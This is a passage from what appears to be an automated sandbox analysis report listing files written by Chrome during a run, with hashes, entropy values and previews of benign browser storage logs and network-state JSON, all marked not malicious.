Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.985305467053914
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y
MD5:	C401B619D9D8E0ADABC25A47EE49CFBA
SHA1:	C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA
SHA-256:	8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F
SHA-512:	BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"advertised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	5.271732460508218
Encrypted:	false
SSDEEP:	6:maaSWSQWM+q2PWXp+N23iKKdKusNpV/2jMGIFUtnaSwwG1ZmwBaSaQWMVkwOWXpM:paH3+va5KkFFUtnaTz1/Ba6V5f5KkOJ
MD5:	E53E7DA48D3CE612D95A464CB39FB246
SHA1:	B4D602DEF0DC0CD28DC374801973E5AA685E9B5C
SHA-256:	BF6448CE3781E73DF769E8E96AB33F9346B9D906EB64A41F81908F597C17D399
SHA-512:	BF2FCE9209B134BD3A95F94BC1681B94203B68B940CA3C28867B401D6134E483543BB78F5B8A784F4BE23AAD5F893C0378BCF01161C228DC7AB0031862A659B1
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.575 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/MANIFEST-000001.2021/10/25-18:17:19.577 91c Recovering log #3.2021/10/25-18:17:19.578 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	427
Entropy (8bit):	5.271732460508218
Encrypted:	false
SSDEEP:	6:maaSWSQWM+q2PWXp+N23iKKdKusNpV/2jMGIFUtnaSwwG1ZmwBaSaQWMVkwOWXpM:paH3+va5KkFFUtnaTz1/Ba6V5f5KkOJ
MD5:	E53E7DA48D3CE612D95A464CB39FB246
SHA1:	B4D602DEF0DC0CD28DC374801973E5AA685E9B5C
SHA-256:	BF6448CE3781E73DF769E8E96AB33F9346B9D906EB64A41F81908F597C17D399
SHA-512:	BF2FCE9209B134BD3A95F94BC1681B94203B68B940CA3C28867B401D6134E483543BB78F5B8A784F4BE23AAD5F893C0378BCF01161C228DC7AB0031862A659B1
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.575 91c Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/MANIFEST-000001.2021/10/25-18:17:19.577 91c Recovering log #3.2021/10/25-18:17:19.578 91c Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Network Persistent State (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.985305467053914
Encrypted:	false
SSDEEP:	6:YHpoNXR8+eq7JdV5qQlsDHF4xj70PpqQEsDHF4R8HLJ2AVQBR70S7PMVKJw1K3Ky:YHO8sdBsB6MAsBdLJlyH7E4f3K33y
MD5:	C401B619D9D8E0ADABC25A47EE49CFBA
SHA1:	C9D3B816DD3FBCD98E9C0A32CEC7B501EFC0BBDA
SHA-256:	8F5D75F5EF9876E8D30CE477509F735B50C4D87DBEDB433BE8EDBE6D4B3CB82F
SHA-512:	BC12F16CB95CB0AD708C6BBD005EF863A8552613E612F1084086E0F8262752E1B5144D044F0D141CE8462CC33343C36B517A5CC778751680485D8F88FB51B862
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543490879170","port":443,"protocol_str":"quic"},{"advertised_versions":[73],"expiration":"13248543490879171","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.307793251154311
Encrypted:	false
SSDEEP:	12:paQ0va5KkmiuFUtnaQ5/BaQFg5f5Kkm2J:ea5KkSg4f5Kkr
MD5:	3E3DD12F995A45BAD86A036F2A85AEF9
SHA1:	04463BBF4115FFC68233F01C44B05D70ED199DA6
SHA-256:	579C9E7451EB1EE7788ED89E08259840D29F735675B7EB615832847841F7EECA
SHA-512:	A8D698BCB36BBC1CB87BFB5878E5FFCE101ECFE27C598E081BA02452B2C55C64C28627759F808B81F4B87E3A09EE11CB339F45DD5F0381834C592E3BBD6A7CBC
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.714 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/MANIFEST-000001.2021/10/25-18:17:19.718 14f8 Recovering log #3.2021/10/25-18:17:19.719 14f8 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications\LOG.old. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	432
Entropy (8bit):	5.307793251154311
Encrypted:	false
SSDEEP:	12:paQ0va5KkmiuFUtnaQ5/BaQFg5f5Kkm2J:ea5KkSg4f5Kkr
MD5:	3E3DD12F995A45BAD86A036F2A85AEF9
SHA1:	04463BBF4115FFC68233F01C44B05D70ED199DA6
SHA-256:	579C9E7451EB1EE7788ED89E08259840D29F735675B7EB615832847841F7EECA
SHA-512:	A8D698BCB36BBC1CB87BFB5878E5FFCE101ECFE27C598E081BA02452B2C55C64C28627759F808B81F4B87E3A09EE11CB339F45DD5F0381834C592E3BBD6A7CBC
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:19.714 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/MANIFEST-000001.2021/10/25-18:17:19.718 14f8 Recovering log #3.2021/10/25-18:17:19.719 14f8 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.309742497762612
Encrypted:	false
SSDEEP:	6:maaQcq2PWXp+N23iKKdKusNpZQMxIFUtnaBXZmwBayzkwOWXp+N23iKKdKusNpZb:pafva5KkMFUtnaN/Bayz5f5KkTJ
MD5:	11BC1803CCB96057B609DA9413AEB635
SHA1:	DB90C2461513D3164536D9326D90F70CEFA82102
SHA-256:	266821629096EFE230AD2F476EA56778A472296420A6BEDF8B3D9CDA38FA28CD
SHA-512:	2D3A85F3717867E2597AE8A82AA38D8EAB4E3981B6C4D28EC8993A7884A803E4D11225B27C30A3645C167C25B0E0E588ED5378A96D0F9F9305A58383C8078070
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:35.789 c24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/MANIFEST-000001.2021/10/25-18:17:35.791 c24 Recovering log #3.2021/10/25-18:17:35.792 c24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.309742497762612
Encrypted:	false
SSDEEP:	6:maaQcq2PWXp+N23iKKdKusNpZQMxIFUtnaBXZmwBayzkwOWXp+N23iKKdKusNpZb:pafva5KkMFUtnaN/Bayz5f5KkTJ
MD5:	11BC1803CCB96057B609DA9413AEB635
SHA1:	DB90C2461513D3164536D9326D90F70CEFA82102
SHA-256:	266821629096EFE230AD2F476EA56778A472296420A6BEDF8B3D9CDA38FA28CD
SHA-512:	2D3A85F3717867E2597AE8A82AA38D8EAB4E3981B6C4D28EC8993A7884A803E4D11225B27C30A3645C167C25B0E0E588ED5378A96D0F9F9305A58383C8078070
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:35.789 c24 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/MANIFEST-000001.2021/10/25-18:17:35.791 c24 Recovering log #3.2021/10/25-18:17:35.792 c24 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\gfdkimpbcpahaombhbimeihdjnejgicl\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\GPUCache\data_1 Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Reputation:	low
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	5.2295694189512405
Encrypted:	false
SSDEEP:	12:pafova5KkkGHArBFUtnaf/Bao5f5KkkGHAryJ:Aaa5KkkGgPgOf5KkkGga
MD5:	B3C2A95469B1D20E03D2A715B17623FC
SHA1:	9AC169888CDCBBFB1CD257C9D11317E5B0DC160F
SHA-256:	DF8D0E37F036E9AE6CFCB2C5F147E416F700BD84F2DF54040EFF44A7DAAD2A8C
SHA-512:	A93C31EDEBB1D35D4773FA9155EB408F7993648BA89E8B5ECC33CC70B416483C4C4199084314F2BCB5BCE8F7DFC1E8DE1ED9137D8C1AF217F446CC40BAAC1A81
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:02.734 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/MANIFEST-000001.2021/10/25-18:18:02.736 14f8 Recovering log #3.2021/10/25-18:18:02.737 14f8 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	430
Entropy (8bit):	5.2295694189512405
Encrypted:	false
SSDEEP:	12:pafova5KkkGHArBFUtnaf/Bao5f5KkkGHAryJ:Aaa5KkkGgPgOf5KkkGga
MD5:	B3C2A95469B1D20E03D2A715B17623FC
SHA1:	9AC169888CDCBBFB1CD257C9D11317E5B0DC160F
SHA-256:	DF8D0E37F036E9AE6CFCB2C5F147E416F700BD84F2DF54040EFF44A7DAAD2A8C
SHA-512:	A93C31EDEBB1D35D4773FA9155EB408F7993648BA89E8B5ECC33CC70B416483C4C4199084314F2BCB5BCE8F7DFC1E8DE1ED9137D8C1AF217F446CC40BAAC1A81
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:02.734 14f8 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/MANIFEST-000001.2021/10/25-18:18:02.736 14f8 Recovering log #3.2021/10/25-18:18:02.737 14f8 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Network Persistent State.. (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.954960881489904
Encrypted:	false
SSDEEP:	12:YHO8sdvBVSsB6M/BVSsBdLJlyH7E4f3K33y:YXsdvjX6gjXdL3yH7n/iy
MD5:	F4FEFEEEC722772F9DC0FCE1B52D79B5
SHA1:	00EECFA3B37113D30E7D43BE4383C540F3D93D4D
SHA-256:	D33E13C12004A700F246D8C73709114A881609D658E045D54DE36874728D07F0
SHA-512:	41E61EC89366800FD5F4DD704E53B47DE29411B9088B46349A0A350758D08569C14DCC70CF8D6A6FE6D049CB6D32F2B091153E8148A1B5857BD7AF13492071BE
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543498399332","port":443,"protocol_str":"quic"},{"advertised_versions":[73],"expiration":"13248543498399332","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.233381012217626
Encrypted:	false
SSDEEP:	12:paQyva5KkkGHArqiuFUtnaB/BaOFR5f5KkkGHArq2J:oa5KkkGgCggf5KkkGg7
MD5:	2E5D98AC0381D7999EF5AE223DB2A554
SHA1:	C90959F746B83252BFE7A598E78B79D0C26606F1
SHA-256:	69147B4F311A73C06EADB063AA349B6364DC79D0FB430B03A375673BD3494746
SHA-512:	F28A70A2D219CC3543C2AE1EFA8526787FBD3B927E2DC5B444B77BB112F214A60723EAAA1C95218C69F56D27319DB0724984162B09462FB43C01694828D880CF
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:02.754 c38 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/MANIFEST-000001.2021/10/25-18:18:02.755 c38 Recovering log #3.2021/10/25-18:18:02.756 c38 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	429
Entropy (8bit):	5.233381012217626
Encrypted:	false
SSDEEP:	12:paQyva5KkkGHArqiuFUtnaB/BaOFR5f5KkkGHArq2J:oa5KkkGgCggf5KkkGg7
MD5:	2E5D98AC0381D7999EF5AE223DB2A554
SHA1:	C90959F746B83252BFE7A598E78B79D0C26606F1
SHA-256:	69147B4F311A73C06EADB063AA349B6364DC79D0FB430B03A375673BD3494746
SHA-512:	F28A70A2D219CC3543C2AE1EFA8526787FBD3B927E2DC5B444B77BB112F214A60723EAAA1C95218C69F56D27319DB0724984162B09462FB43C01694828D880CF
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:02.754 c38 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/MANIFEST-000001.2021/10/25-18:18:02.755 c38 Recovering log #3.2021/10/25-18:18:02.756 c38 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Platform Notifications/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	80
Entropy (8bit):	3.4921535629071894
Encrypted:	false
SSDEEP:	3:S8ltHlS+QUl1ASEGhTFljl:S85aEFljl
MD5:	69449520FD9C139C534E2970342C6BD8
SHA1:	230FE369A09DEF748F8CC23AD70FD19ED8D1B885
SHA-256:	3F2E9648DFDB2DDB8E9D607E8802FEF05AFA447E17733DD3FD6D933E7CA49277
SHA-512:	EA34C39AEA13B281A6067DE20AD0CDA84135E70C97DB3CDD59E25E6536B19F7781E5FC0CA4A11C3618D43FC3BD3FBC120DD5C1C47821A248B8AD351F9F4E6367
Malicious:	false
Reputation:	low
Preview:	*...#................version.1..namespace-..&f.................&f...............

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.253192408872276
Encrypted:	false
SSDEEP:	12:pacva5KkkGHArAFUtnap/Bas5f5KkkGHArfJ:Xa5KkkGgkgif5KkkGgV
MD5:	298AD44B5AF85F9AB4388E5C91B27927
SHA1:	0DAAF7B46104A9740FB6C8DA730B4E035B0A6BFB
SHA-256:	1D21A96D6C455873BB1013BDA3FD7EEDF12C8A0CEA97B2A41B0ACD62E299D2F5
SHA-512:	F8D1A4B5136A4E8C1BC38249FC5BF6DA586F72D69A07179C5370E4C065C757B121067F3BCB3BE27C7B95166F721FC591750CE07242E12352B375140CD505B39C
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:17.939 f64 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/MANIFEST-000001.2021/10/25-18:18:17.940 f64 Recovering log #3.2021/10/25-18:18:17.941 f64 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage\LOG.old.c (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	415
Entropy (8bit):	5.253192408872276
Encrypted:	false
SSDEEP:	12:pacva5KkkGHArAFUtnap/Bas5f5KkkGHArfJ:Xa5KkkGgkgif5KkkGgV
MD5:	298AD44B5AF85F9AB4388E5C91B27927
SHA1:	0DAAF7B46104A9740FB6C8DA730B4E035B0A6BFB
SHA-256:	1D21A96D6C455873BB1013BDA3FD7EEDF12C8A0CEA97B2A41B0ACD62E299D2F5
SHA-512:	F8D1A4B5136A4E8C1BC38249FC5BF6DA586F72D69A07179C5370E4C065C757B121067F3BCB3BE27C7B95166F721FC591750CE07242E12352B375140CD505B39C
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:18:17.939 f64 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/MANIFEST-000001.2021/10/25-18:18:17.940 f64 Recovering log #3.2021/10/25-18:18:17.941 f64 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\Session Storage/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Storage\ext\nmmhkkegccagdldgiimedpiccmgmieda\def\fb916b91-1de5-4a97-a1b9-d05f0ecb0538.tmp Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines, with no line terminators
Category:	dropped
Size (bytes):	420
Entropy (8bit):	4.954960881489904
Encrypted:	false
SSDEEP:	12:YHO8sdvBVSsB6M/BVSsBdLJlyH7E4f3K33y:YXsdvjX6gjXdL3yH7n/iy
MD5:	F4FEFEEEC722772F9DC0FCE1B52D79B5
SHA1:	00EECFA3B37113D30E7D43BE4383C540F3D93D4D
SHA-256:	D33E13C12004A700F246D8C73709114A881609D658E045D54DE36874728D07F0
SHA-512:	41E61EC89366800FD5F4DD704E53B47DE29411B9088B46349A0A350758D08569C14DCC70CF8D6A6FE6D049CB6D32F2B091153E8148A1B5857BD7AF13492071BE
Malicious:	false
Reputation:	low
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_versions":[50],"expiration":"13248543498399332","port":443,"protocol_str":"quic"},{"advertised_versions":[73],"expiration":"13248543498399332","port":443,"protocol_str":"quic"}],"isolation":[],"server":"https://dns.google","supports_spdy":true}],"version":5},"network_qualities":{"CAASABiAgICA+P////8B":"4G","CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\000003.log Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	data
Category:	dropped
Size (bytes):	160
Entropy (8bit):	3.0217164415295743
Encrypted:	false
SSDEEP:	3:sLollttz6sjlGXU2tk0lkGgGgGgGgGg:qolXtWswXU2tkEtttt
MD5:	DE92AD90BE6D3364745B2F73F4C3CF73
SHA1:	9158681463BD30E5AF4DDA4BAAC81F93CEDBDA77
SHA-256:	0025A3E0D3B834401B3B5F820E1991EF7E810D9A4B8B6B579E6301C94E7031A0
SHA-512:	9E81CEFC195439439F4B23EE7696309D7BC3C08E5B444D2ABDE26D2F12B2D3BCFD124FB9A2D40C6389E9F787741676FAD366A2E9982674E7B931028C014D8A79
Malicious:	false
Reputation:	low
Preview:	...n'................_mts_schema_descriptor.....F..................F..................F..................F..................F..................F................

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.259619402993821
Encrypted:	false
SSDEEP:	6:maaO1AVq2PWXp+N23iKKdKpIFUtnaOXuNAgZmwBaOMyAIkwOWXp+N23iKKdKa/Wd:palVva5KkmFUtna+uSg/BarTI5f5KkaQ
MD5:	D3DE9705683F20E7A27939D19E9F84B6
SHA1:	43E8B5252180AF294365B3CBF9897BE629AF736D
SHA-256:	7F68AD6829D7138BD390A175EFCA61BA3CAEAEB7357EAA0316860550DFB2A34D
SHA-512:	37713634A2A1FEED2449CFDDA0DED9CC6040266F51306D5BEF1FF0E11A846EC1E7B1D1021030C9AB6A5B451BEFC8466637D2FDFE98E9FA2748EDC4483728ED7B
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:18.784 1244 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/10/25-18:17:18.790 1244 Recovering log #3.2021/10/25-18:17:18.791 1244 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB\LOG.old (copy) Download File
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.259619402993821
Encrypted:	false
SSDEEP:	6:maaO1AVq2PWXp+N23iKKdKpIFUtnaOXuNAgZmwBaOMyAIkwOWXp+N23iKKdKa/Wd:palVva5KkmFUtna+uSg/BarTI5f5KkaQ
MD5:	D3DE9705683F20E7A27939D19E9F84B6
SHA1:	43E8B5252180AF294365B3CBF9897BE629AF736D
SHA-256:	7F68AD6829D7138BD390A175EFCA61BA3CAEAEB7357EAA0316860550DFB2A34D
SHA-512:	37713634A2A1FEED2449CFDDA0DED9CC6040266F51306D5BEF1FF0E11A846EC1E7B1D1021030C9AB6A5B451BEFC8466637D2FDFE98E9FA2748EDC4483728ED7B
Malicious:	false
Reputation:	low
Preview:	2021/10/25-18:17:18.784 1244 Reusing MANIFEST C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2021/10/25-18:17:18.790 1244 Recovering log #3.2021/10/25-18:17:18.791 1244 Reusing old log C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\pkedcjkdefgpdelpbcmbmeomcjbeemfm\LOG Download File
